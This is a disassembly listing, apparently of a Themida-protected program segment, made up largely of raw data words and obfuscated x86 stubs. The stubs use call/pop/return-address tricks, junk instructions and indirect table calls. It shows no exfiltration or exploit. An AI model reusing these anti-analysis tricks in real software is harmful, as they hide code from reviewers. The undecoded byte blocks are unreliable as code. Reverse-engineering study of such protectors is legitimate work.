		dd 0AE000000h, 9FFE7193h, 0D2D08095h, 0FEAEF161h, 0FD8AC03Eh
		dd 15B9952Bh, 0C08B060Eh, 0C7CABF0Fh, 0E0D7985h, 106h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 30D942F0h, 1F863357h, 0B868945Ch, 0FFCEE4E7h
		dd 0E32E1B5h, 0AD858D06h, 0FF060E3Bh, 1D8589D0h, 8D060E22h
		dd 10FD7385h, 858D5006h, 6110030h, 16850h, 95FF8000h, 60E221Dh
		dd 0A75C00Bh, 299D85C7h, 1060Eh, 0D4680000h, 0FFC005DBh
		dd 0E32E1B5h, 0AD858D06h, 0FF060E3Bh, 3D8589D0h, 8D060E0Ah
		dd 10EFC085h, 0B5FF5006h, 60E19F5h, 0FD195FFh, 0C00B060Eh
		dd 0D88B0B74h, 0FF73858Dh, 0FF500610h, 73858DD3h, 660610FFh
		dd 75093883h, 4D85C70Ah, 1060E0Fh, 0FF000000h, 0E0DF595h
		dd 0FF2506h, 0F8830000h, 0C70A7305h, 0E02C185h,	106h, 0D7816600h
		dd 8B66E387h, 82BD80FEh, 610FBh, 14840Fh, 0B5890000h, 60E2C75h
		dd 2CBD83h, 0F000611h, 2D84h, 0D7E9FC00h, 6A000019h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 9AC0C353h, 0D4EBC5E7h, 66DBABF1h, 0BD83D78Bh, 60E0F4Dh
		dd 0DE850F00h, 66000000h, 0A337EF81h, 0FB4C858Dh, 0FE90610h
		dd 7B000000h, 0C1FDB7A7h, 0D7BEBEC7h, 3D4D77EFh, 6A50E6A4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 638BC357h, 552FCB29h, 1CD80E8h, 56EF8166h
		dd 3870F12h, 0F000000h,	16AC8BFh, 30E1BD2Bh, 6A060Eh, 6AB8B2h
		dd 24018589h, 95FF060Eh, 60E1B71h, 13E8h, 2DFBB200h, 0A463D86Ch
		dd 0A09286BCh, 7D1BEBE2h, 17FD050Bh, 29F59D09h,	8B5A060Eh
		dd 768589D7h, 0B20610FBh, 0DD9589D1h, 6A060E18h, 0BD8B56FFh
		dd 60E2A5Dh, 76B5FF5Ah,	6A0610FBh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 9CC355h
		dd 64B8538Eh, 0D9BD8B58h, 0FF060E33h, 0E2F8195h, 27BA6606h
		dd 87858D87h, 6A0610EFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 3651C351h, 2807B8BCh
		dd 0D2B70F50h, 1C9195FFh, 9D31060Eh, 60E29C1h, 0F0118589h
		dd 0CA8B0610h, 0EF94858Dh, 6A500610h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 39D9C355h
		dd 0BD01D78Bh, 60E34F5h, 0F011B5FFh, 8D890610h,	60E1A69h
		dd 0FD195FFh, 958B060Eh, 60E16CDh, 33918589h, 0BE9060Eh
		dd 0D000000h, 466F976Dh, 19556F4h, 858D37F5h, 610F002h
		dd 9927BA66h, 8FD98166h, 0BD8B50E4h, 60E3165h, 0F011B5FFh
		dd 11E80610h, 0EC000000h, 448AE17Bh, 4DDE831Eh,	38202A1Eh
		dd 4EF10179h, 5FC88B66h, 0FD195FFh, 8D89060Eh, 60E20A9h
		dd 0F0258589h, 6A0610h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 3BA0C1C3h, 0E1858DFCh, 6A0610EFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C5B7C351h, 8A54503Bh, 75D8BE59h,	995BD89h
		dd 2950060Eh, 0E1B3D9Dh, 11B5FF06h, 0BF0610F0h,	0AE8BC20h
		dd 0FD195FFh, 0F56060Eh, 385h, 0FDDD8000h, 45BD8959h, 89060E25h
		dd 10F01D85h, 858DF906h, 610EFD4h, 1735B501h, 8B50060Eh
		dd 0E17BDBDh, 11B5FF06h, 8B0610F0h, 0D195FFCBh,	89060E0Fh
		dd 10F02185h, 0EF858D06h, 0B0610EFh, 0E2C6995h,	8D095006h
		dd 60E2A49h, 0F011B5FFh, 11BA0610h, 894E540Bh, 0E19299Dh
		dd 0D195FF06h, 8B060E0Fh, 0E290995h, 39958906h,	89060E2Fh
		dd 0E168185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0ED165585h, 8777D9E3h, 0A3858D7Fh
		dd 0E80610EFh, 0Ah, 33FF6967h, 56C488AEh, 5FFCA0E5h, 0D9958B50h
		dd 0FF060E1Dh, 10F011B5h, 0A5858906h, 0FF060E00h, 0E0FD195h
		dd 0F98D2906h, 89060E24h, 10F01585h, 0A9BD8B06h, 8D060E08h
		dd 10EFB285h, 8820F06h,	56000000h, 8C0Fh, 505F0000h, 989958Bh
		dd 958B060Eh, 60E0929h,	0F011B5FFh, 0E5800610h,	0D195FFD1h
		dd 0F060E0Fh, 8Ah, 19858900h, 0B0610F0h, 0E34ADBDh, 1046806h
		dd 81660000h, 8D77C6F2h, 10F0A985h, 0F4B5FC06h,	0CEB70F50h
		dd 0F1AD858Dh, 8D030610h, 60E1B09h, 52006A50h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 291B37ACh
		dd 0FFF88B66h, 0E154595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 3A8F4756h
		dd 63842C01h, 0D1BF0FB0h, 850FC085h, 6,	9363D181h, 0BD8045D0h
		dd 610FB82h, 41850F00h,	50000000h, 10E9h, 6F92AF00h, 10CA744Bh
		dd 41D4BBE2h, 9FDD58AFh, 0AFE95FBAh, 6A000015h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8BB6C351h, 0E0895315h, 72A7D01Bh, 0F4DBD83h,	0F00060Eh
		dd 1E85h, 61B52900h, 83060E03h,	11002CBDh, 840F0006h, 4Eh
		dd 2F1B589h, 3EB9060Eh,	8D0064CDh, 10F04685h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 899E6C6Bh, 0A754EB45h, 81661B86h, 0E9480EF7h, 152Ah
		dd 0E9C8B70Fh, 0Eh, 0CCD958Bh, 858D060Eh, 610F031h, 6650CDB6h
		dd 858DD38Bh, 610F0A9h,	6A50FE8Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0BE98C353h
		dd 0EA8AA589h, 0F4DBD83h, 0F00060Eh, 3784h, 0ED9D0100h
		dd 8D060E19h, 10F1CF85h, 28C0F06h, 8A000000h, 37E9EFh
		dd 10E80000h, 0C6000000h, 0DF8F920Fh, 0D2694095h, 0D03522A0h
		dd 564F06B1h, 0E398D89h, 595F060Eh, 0F1B8858Dh,	0E2810610h
		dd 54334069h, 8E9h, 0E41F5E00h,	56392E53h, 0BF0F5000h
		dd 0D1BD8BC8h, 8D060E09h, 10F20785h, 0E58D8B06h, 0B060E31h
		dd 0E1789BDh, 95FF5006h, 60E2501h, 0C1858B60h, 89060E23h
		dd 0E2DB9B5h, 0C4836106h, 8A0F6010h, 6,	18E1BD89h, 0C980060Eh
		dd 0C08B6112h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	54C35545h, 8B5DDE53h, 0E0D75BDh, 21BD8306h, 60E0Eh
		dd 0BD830975h, 60E0FC5h, 50197400h, 0B8C08B53h,	7D3h, 1D9D8589h
		dd 9D8D060Eh, 610A86Ch,	585BD3FFh, 0FC5BD83h, 7400060Eh
		dd 0B8535017h, 7D3h, 1D9D8589h,	9D8D060Eh, 610A55Bh, 585BD3FFh
		dd 89CF8B66h, 0E24D5BDh, 89C08B06h, 0E183995h, 31BD8106h
		dd 6F0610F0h, 0F616572h, 0E084h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 576EE177h
		dd 8328F0D1h, 858D9740h, 610F0A9h, 0E6858D50h, 500610F1h
		dd 0F207858Dh, 0FF500610h, 0E250195h, 0CC48306h, 2F1185C6h
		dd 6844060Eh, 96A3184Fh, 19F5B5FFh, 858D060Eh, 60E3BADh
		dd 0D88BD0FFh, 0F207858Dh, 0FF500610h, 31858DD3h, 500610F0h
		dd 0F0A9858Dh, 83500610h, 0E0F4DBDh, 8740006h, 0F1CF858Dh
		dd 6EB0610h, 0F1B8858Dh, 8D500610h, 10F20785h, 95FF5006h
		dd 60E2501h, 0E910C483h, 12h, 81E1E08Fh, 127FD9DBh, 3044D4D0h
		dd 2559C328h
		dd 8B6695EFh, 55006ACEh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 6840F09h,	89000000h, 0E345D8Dh, 0F595FF06h
		dd 6A060E0Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 4AB1C353h, 0CA855F1Dh,	1E4ECA7h
		dd 0E1765B5h, 0FF2506h,	8D890000h, 60E2ABDh, 83D08B66h
		dd 830F05F8h, 2Dh, 0C7FFB70Fh, 0E02C185h, 106h,	8B665000h
		dd 858D59F9h, 610F065h,	0E931E580h, 77h, 6DBD8B60h, 66060E22h
		dd 0D5C6E781h, 4DBD8361h, 60E0Fh, 3D840Fh, 0D6800000h
		dd 90858D37h, 890610F0h, 0E02B9BDh, 49E906h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0F1C10C3h, 59816F88h, 8EB9E5BBh, 8D4B9839h, 10F07285h
		dd 0BE906h, 4B710000h, 0D5A1E786h, 66681C5Bh, 48E0FFBh
		dd 66000000h, 891F65BAh, 10F0A585h, 38C28006h, 0F4DBD83h
		dd 0F00060Eh, 1785h, 0CC8A5600h, 2CBD8359h, 61100h, 11840Fh
		dd 95330000h, 60E16B1h,	11C1E9h, 4D958B00h, 0E9060E0Dh
		dd 4A2h, 51ECB966h, 0B589C08Bh,	60E28BDh, 0E21BD83h, 7500060Eh
		dd 0C5BD8309h, 60E0Fh, 53501974h, 0D4B8C08Bh, 89000007h
		dd 0E1D9D85h, 6C9D8D06h, 0FF0610A8h, 83585BD3h,	0E0FC5BDh
		dd 17740006h, 0D4B85350h, 89000007h, 0E1D9D85h,	5B9D8D06h
		dd 0FF0610A5h, 6A585BD3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0EF31C351h,	69858961h
		dd 0F5060E2Ah, 958BC08Bh, 60E1995h, 0F003F68h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8B562964h, 0E0101BDh, 0C1805F06h, 8B006A1Dh,	81006AFBh
		dd 49D3F4DFh, 9195FF4Fh, 6A060E33h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0F7B6C352h
		dd 0AF0232Bh, 62AAC7Eh,	7B31BA66h, 850FC085h, 0Ch, 6840Fh
		dd 85310000h, 60E2785h,	0F0298589h, 6A0610h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 292C66C3h
		dd 0E181585h, 11BD3106h, 6A060E17h, 810F00h, 6A000000h
		dd 11E900h, 89760000h, 0FC644CEDh, 8349EFA9h, 0D0C45233h
		dd 8AA04096h, 8B006AF1h, 0E13F9BDh, 11E806h, 8C430000h
		dd 4E88E805h, 0D1FBDECh, 169AD9BCh, 60BC8304h, 15B58BF5h
		dd 61060E24h, 60006A5Ah, 89DF8B66h, 0E07D9BDh, 6A6106h
		dd 6EF78166h, 7858D2Eh,	570610F2h, 2001B589h, 505F060Eh
		dd 89CA8B60h, 0E03E59Dh, 16A6106h, 0A3DE8160h, 0F6D3FFDh
		dd 58Fh, 0CADABA00h, 6A616DD4h,	6850F01h, 89000000h, 0E01BD95h
		dd 4FE8B906h, 16A6620h,	4B58D8Bh, 9E8060Eh, 69000000h
		dd 0FC473DEEh, 1EB048A2h, 6890Fh, 0BD330000h, 60E1F6Dh
		dd 1FF6859h, 0B589000Fh, 60E2285h, 0F4DBD83h, 0F00060Eh
		dd 5484h, 128E0F00h, 0E9000000h, 0Dh, 401DA51Dh, 6F0DF8A1h
		dd 68ADB7Ch, 86858D92h,	10610F0h, 0E2FBDB5h, 4FE906h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0F1B1B5C3h, 0E0DF749Eh, 95A5111h, 0E0F5195h,	5C858D06h
		dd 6A0610F0h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0C859C352h, 816050A0h,	0B55BD0D9h
		dd 49958B6Dh, 61060E0Ah, 50FE8B66h, 3DB58B60h, 66060E1Dh
		dd 0FF61D98Bh, 10F029B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0CCFA82B2h
		dd 0BF661755h, 95FFE8AAh, 610F015h, 89F96060h, 0E28A9B5h
		dd 61F86106h, 0C08515B6h, 18850Fh, 0BA660000h, 5FE935D7h
		dd 0E9000000h, 0Ah, 0C5E47935h,	1DCF310Ah, 85898A32h, 610F02Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 29C35747h
		dd 0FF207969h, 10F02DB5h, 62D58006h, 6870Fh, 95090000h
		dd 60E088Dh, 168195FFh,	0BFB5060Eh, 850FC085h, 6, 30C9B589h
		dd 106A060Eh, 1DC9BD8Bh, 0BD83060Eh, 60E0F4Dh, 27840F00h
		dd 8B000000h, 0E0F85BDh, 86858D06h, 0E90610F0h,	0Ch, 0C024B893h
		dd 2E08A1F0h, 3A0E8760h, 11E9h,	0E2816600h, 858D1C33h
		dd 610F05Ch, 2658509h, 0FF50060Eh, 10F029B5h, 0FFCA8B06h
		dd 10F02195h, 0A551BA06h, 0C0857E21h, 1D850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 89801CC3h, 10F02D85h, 0F19D8906h, 6A060E0Ah,	758D8B00h
		dd 8B060E1Bh, 0E0455BDh, 0E9006A06h, 9,	5DB9B478h, 9C4C65E5h
		dd 2DB5FFDAh, 6A0610F0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0CC8EC356h,	3E5A1909h
		dd 27A76B04h, 9800Fh, 840F0000h, 3, 89FB8B66h, 0E2D0D9Dh
		dd 1995FF06h, 10610F0h,	0E1311BDh, 0D6B70F06h, 850FC085h
		dd 0Ch,	7E9h, 0A8DBAA00h, 7AA0BA16h, 0F02DB5FFh, 95890610h
		dd 60E0425h, 168195FFh,	6A060Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0DC388DC3h, 0FD9F9669h
		dd 0C085F4B9h, 8850Fh, 66600000h, 0BF0FC38Bh, 6A61C0h
		dd 1DD5BD89h, 8068060Eh, 89000000h, 0E1C95BDh, 6A036A06h
		dd 8E900h, 0F8700000h, 8FFD2DF2h, 0B50946F0h, 60E1369h
		dd 0BF66006Ah, 682BFFh,	0BAC00000h, 0B886337h, 0F0A5B5FFh
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 1CD9E6C3h, 78595FFh, 10E9060Eh, 56000000h
		dd 578211E2h, 1420895h,	68AE5364h, 8399D798h, 850FFFF8h
		dd 567h, 38B0Fh, 8B660000h, 0FF5A50FAh,	10FB1385h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0F915C926h, 84DC6535h, 0FB13BD83h, 0F020610h, 41184h
		dd 0CFB70F00h, 243B858Dh, 9529005Bh, 60E246Dh, 89F5D0FFh
		dd 0E190195h, 8E858D06h, 8B005B1Eh, 0E2C818Dh, 1D8D8B06h
		dd 0FF060E10h, 0FC08BD0h, 0BD83D1B7h, 60E0E21h,	83097500h
		dd 0E0FC5BDh, 19740006h, 0C08B5350h, 7D8B8h, 9D858900h
		dd 8D060E1Dh, 10A86C9Dh, 5BD3FF06h, 0C5BD8358h,	60E0Fh
		dd 53501774h, 7D8B8h, 9D858900h, 8D060E1Dh, 10A55B9Dh
		dd 5BD3FF06h, 86DDB958h, 8E0F3D69h, 0
; ---------------------------------------------------------------------------
		mov	ecx, 263DC1FAh
		mov	eax, eax
		pusha
		and	ah, 3Dh
		and	ebx, 5A66E3EDh
		popa
		push	0F003Fh
		mov	[ebp+60E0301h],	esi
		push	0
		mov	di, 0D0A8h
		push	0
		push	0
		push	edi
		call	sub_57B784
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B784	proc near		; CODE XREF: Themida_:0057B77Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_57B784	endp

; ---------------------------------------------------------------------------
		dd 0D1CD00F1h, 0FEDFD28Eh, 0A860Fh, 5E90000h, 0FB000000h
		dd 494FBBDBh, 0FFD78B66h, 0E339195h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0ADD1EA2Bh
		dd 45D7A44Ch, 0CFBF0F29h, 0DADBD8Bh, 0C085060Eh, 8589F88Bh
		dd 610F029h, 8870Fh, 0F520000h,	81h, 0FF685F00h, 0F000F01h
		dd 680h, 11953300h, 83060E34h, 0E0F4DBDh, 840F0006h, 1Eh
		dd 0FCA2BA50h, 8D5A2286h, 10F08685h, 0ED958B06h, 0E9060E21h
		dd 12h,	873BE981h, 858D25C7h, 610F05Ch,	37A5D981h, 0F5055A3h
		dd 0B5FFFABFh, 610F029h, 88C0Fh, 31510000h, 0E309D9Dh
		dd 95FF5F06h, 610F021h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E4C35242h, 305AB3DDh, 8B1166EEh, 518D8BD6h
		dd 89060E14h, 10F02D85h, 0B70F6006h, 0CAB866CBh, 85C7619Fh
		dd 60E1CFDh, 0
; ---------------------------------------------------------------------------
		mov	edx, edi
		cmp	dword ptr [ebp+610F02Dh], 0
		jz	loc_57BAD3
		push	0
		push	esi
		call	sub_57B8BE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B8BE	proc near		; CODE XREF: Themida_:0057B8B6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_57B8BE	endp

; ---------------------------------------------------------------------------
		dw 0B3E3h
; ---------------------------------------------------------------------------
		or	[ebp+60E0885h],	edx
		lea	eax, [ebp+610F30Bh]
		push	eax
		jbe	loc_57B8E4
		cmc


loc_57B8E4:				; CODE XREF: Themida_:0057B8DDj
		pop	ecx
		push	eax
		or	cx, 0D313h
		push	1
		push	0
		push	ecx
		call	sub_57B8F8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B8F8	proc near		; CODE XREF: Themida_:0057B8F0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_57B8F8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 29h,	6Bh, 8Ah
		dd 11E836h, 6EA60000h, 1A42630Eh, 0B357FB2h, 0F8C154BDh
		dd 8B383B2Dh, 0E078D95h, 0BD315906h, 60E0429h, 0F02DB5FFh
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8B2BFFC3h, 0E17B5BDh, 2595FF06h, 0FF0610F0h
		dd 10F02DB5h, 0ED958906h, 0FF060E24h, 0E168195h, 298D2906h
		dd 68060E19h, 0F01FFh, 98E0Fh, 880F0000h, 3, 0E8D6B70Fh
		dd 5, 49C398F4h, 8589521Fh, 60E1C8Dh, 0BD835F5Ah, 60E0F4Dh
		dd 3B840F00h, 8D000000h, 10F08685h, 5DB58906h, 81060E03h
		dd 7AE73FD1h, 4BE93Dh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0F58AD3C3h, 335BD8Bh
		dd 858D060Eh, 610F05Ch,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0C3C35747h, 0DBF660Eh, 8D8B5067h, 60E0715h
		dd 68B0F60h, 0F000000h,	85h, 6121B400h,	0F029B5FFh, 0D2810610h
		dd 2B58522Ah, 0F02195FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 6DE890C3h, 0E98C8284h
		dd 0Dh,	5459E097h, 3388130Dh, 868EDDC1h, 2D85890Ch, 6A0610F0h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 8EBBC355h, 79953314h, 0FF060E1Eh,	10F02DB5h
		dd 8BD18106h, 0E8427450h, 0Ch, 6EC387DBh, 1B141801h, 2A2DE1D4h
		dd 66E28166h, 95FF5F46h, 610F01Dh, 0F02DB5FFh, 8B660610h
		dd 8195FFD0h, 51060E16h, 1425958Bh
; ---------------------------------------------------------------------------
		push	cs
		push	es
		pop	ecx


loc_57BAD3:				; CODE XREF: Themida_:0057B8ADj
		jmp	near ptr dword_57B020+14Ch
; ---------------------------------------------------------------------------
		sub	[ebp+60E1B8Dh],	esi
		push	dword ptr [ebp+610FB76h]
		mov	edi, [ebp+60E03C5h]
		mov	[ebp+60E176Dh],	esi
		call	dword ptr [ebp+60E09B9h]
		jmp	loc_57BB0C
; ---------------------------------------------------------------------------
		db 16h
		dd 0A2095756h, 0ECE68593h, 5A4E8E15h, 0E69E93CDh
; ---------------------------------------------------------------------------


loc_57BB0C:				; CODE XREF: Themida_:0057BAF6j
		mov	eax, [ebp+60E0B49h]
		mov	edx, 31FF27BBh
		jmp	loc_57C15D
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_57BB27
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BB27	proc near		; CODE XREF: Themida_:0057BB1Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_57BB27	endp

; ---------------------------------------------------------------------------
		cdq
		rcr	byte ptr [edi],	16h
		test	dword ptr [ebx-722940F1h], 10F32BB5h
		push	es
		mov	dx, di
		lea	eax, [ebp+610A196h]
		mov	[ebp+60E22ADh],	edi
		call	eax
		movsx	edi, ax
		push	0
		jmp	loc_57BB70
; ---------------------------------------------------------------------------
		db 4, 7, 0B4h
		dd 0E3B157CEh, 0D6F3EA3Dh, 6C1DD919h
; ---------------------------------------------------------------------------


loc_57BB70:				; CODE XREF: Themida_:0057BB5Cj
		call	dword ptr [ebp+60E2E5Dh]
		push	edx
		or	dh, 33h
		pop	ecx
		mov	esi, ebx
		push	edx
		mov	edi, [ebp+60E2DCDh]
		pop	ecx
		jmp	loc_57BB93
; ---------------------------------------------------------------------------
		dw 2478h
; ---------------------------------------------------------------------------
		or	byte ptr [ecx-12FF2E79h], 5Dh


loc_57BB93:				; CODE XREF: Themida_:0057BB85j
		lea	eax, [ebp+610A196h]
		push	0
		push	ebp
		call	sub_57BBA4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BBA4	proc near		; CODE XREF: Themida_:0057BB9Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_57BBA4	endp

; ---------------------------------------------------------------------------
		mov	[ebp+40h], gs
		shr	dword ptr [ebx+6AA2567Bh], 1
		xchg	eax, ebx
		push	ecx
		mov	di, 31CBh
		pop	edx
		call	eax
		mov	edx, [ebp+60E1E35h]
		xor	[ebp+60E30D1h],	eax
		push	0
		pusha
		mov	ax, 5A7Fh
		pusha
		add	ax, 0A8C4h
		mov	[ebp+60E32EDh],	eax
		popa
		popa
		call	dword ptr [ebp+60E2E5Dh]
		sub	[ebp+60E2275h],	ecx
		mov	eax, eax
		push	0
		push	ecx
		call	sub_57BC00
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BC00	proc near		; CODE XREF: Themida_:0057BBF8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_57BC00	endp

; ---------------------------------------------------------------------------
		dd 0DB02D37h, 7EF37237h, 21BD83DBh, 60E0Eh, 0BD830975h
		dd 60E0FC5h, 50197400h,	0B8C08B53h, 7D9h, 1D9D8589h, 9D8D060Eh
		dd 610A86Ch, 585BD3FFh,	0FC5BD83h, 7400060Eh, 0B8535017h
		dd 7D9h, 1D9D8589h, 9D8D060Eh, 610A55Bh, 585BD3FFh, 1AC5958Bh
		dd 0BD8B060Eh, 60E08D1h, 0D68BC08Bh, 51006A50h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 1BD892Eh, 8B060E33h
		dd 0B5B589D8h, 53060E0Ah, 1E7D9D8Dh, 38B060Eh, 438B0389h
		dd 50438950h, 0FB0F9D8Dh, 38B0610h, 0F5B0389h, 6AD1B7h
		dd 1C81BD29h, 858D060Eh, 610FB0Fh, 2EE1BD8Bh, 8B66060Eh
		dd 8B6050D7h, 0DD9589DFh, 61060E1Fh, 0E860606Ah, 12h, 0EB0586Ch
		dd 830ECE4Dh, 0C6CEF54Eh, 0F82122D4h, 0BD8B208Dh, 60E0F35h
		dd 9DBD895Bh, 61060E2Eh, 1E7D858Dh, 0BD8B060Eh,	60E0D59h
		dd 8E950h, 7AB40000h, 0A312185Fh, 6AFC7Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 45C35040h, 0AD9E6804h
		dd 9589006Ah, 60E179Dh,	180068h, 6860F00h, 8B000000h, 0E32018Dh
		dd 65D98106h, 5367E51Ch, 0EE8h,	33BF1100h, 87B0A7EEh, 0C3A61B5Eh
		dd 60A6DC7Fh, 890Fh, 59610000h,	13E195FFh, 8B60060Eh, 0E219995h
		dd 5E906h, 1B900000h, 611A15A0h, 1ABD95FFh, 0FB9060Eh
		dd 0FF16D382h, 10FB76B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0E726838h
		dd 5060583Fh, 0CE9h, 8E266A00h,	92AA9399h, 0B8E1995Ch
		dd 8D8958F2h, 60E0C9Dh,	0B995FF61h, 3060E09h, 0E00B995h
		dd 7D858D06h, 6A060E1Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 61E6C351h, 313F103Dh
		dd 0E0DF99Dh, 18408B06h, 5E8h, 62EF1C00h, 59F573E1h, 6880Fh
		dd 8D8B0000h, 60E2F09h,	1F6985C7h, 60Eh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 9663C2C3h, 958B5FE1h, 60E2235h, 0F4DBD83h, 0F00060Eh
		dd 2884h, 55953100h, 3D060E16h,	8Ch, 1D0830Fh, 0BD8B0000h
		dd 60E04B5h, 1FE9h, 68A0F00h, 8B000000h, 0E0F9195h, 983D06h
		dd 830F0000h, 1AEh, 0D958B57h, 59060E0Dh, 243B858Dh, 0D781005Bh
		dd 614CCDD4h, 8BF5D0FFh, 8E858DF8h, 0B1005B1Eh,	10E943h
		dd 42420000h, 0DFAD6283h, 93FE1D63h, 4B303DC1h,	0D0FF2457h
		dd 5880Fh, 81660000h, 66EBE0DFh, 0C08BC88Bh, 0A3D78166h
		dd 21BD8352h, 60E0Eh, 0BD830975h, 60E0FC5h, 50197400h
		dd 0B8C08B53h, 0BC6h, 1D9D8589h, 9D8D060Eh, 610A86Ch, 585BD3FFh
		dd 0FC5BD83h, 7400060Eh, 0B8535017h, 0BC6h, 1D9D8589h
		dd 9D8D060Eh, 610A55Bh,	585BD3FFh, 68A0Fh, 85290000h, 60E1A49h
		dd 78FEDF81h, 0C08B41F6h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 55C35141h, 66F89363h,	83FF53BAh, 850FFFF8h
		dd 7Fh,	0DE9h, 0F113A400h, 40860A28h, 0FE2A5430h, 85C74E82h
		dd 60E24BDh, 0
; ---------------------------------------------------------------------------
		mov	edi, 6059AD43h
		jmp	loc_57C116
; ---------------------------------------------------------------------------
		add	ecx, [ebp+60E3405h]
		push	ecx
		sub	[ebp+60E1E69h],	eax
		pop	ecx
		jmp	loc_57C045
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_57BFC4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BFC4	proc near		; CODE XREF: Themida_:0057BFBCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_57BFC4	endp

; ---------------------------------------------------------------------------
		push	esi
		or	ah, ah
		pushf
		mov	dl, 1
		jz	short loc_57C054
		jo	loc_57BFFF
		call	sub_57BFF9
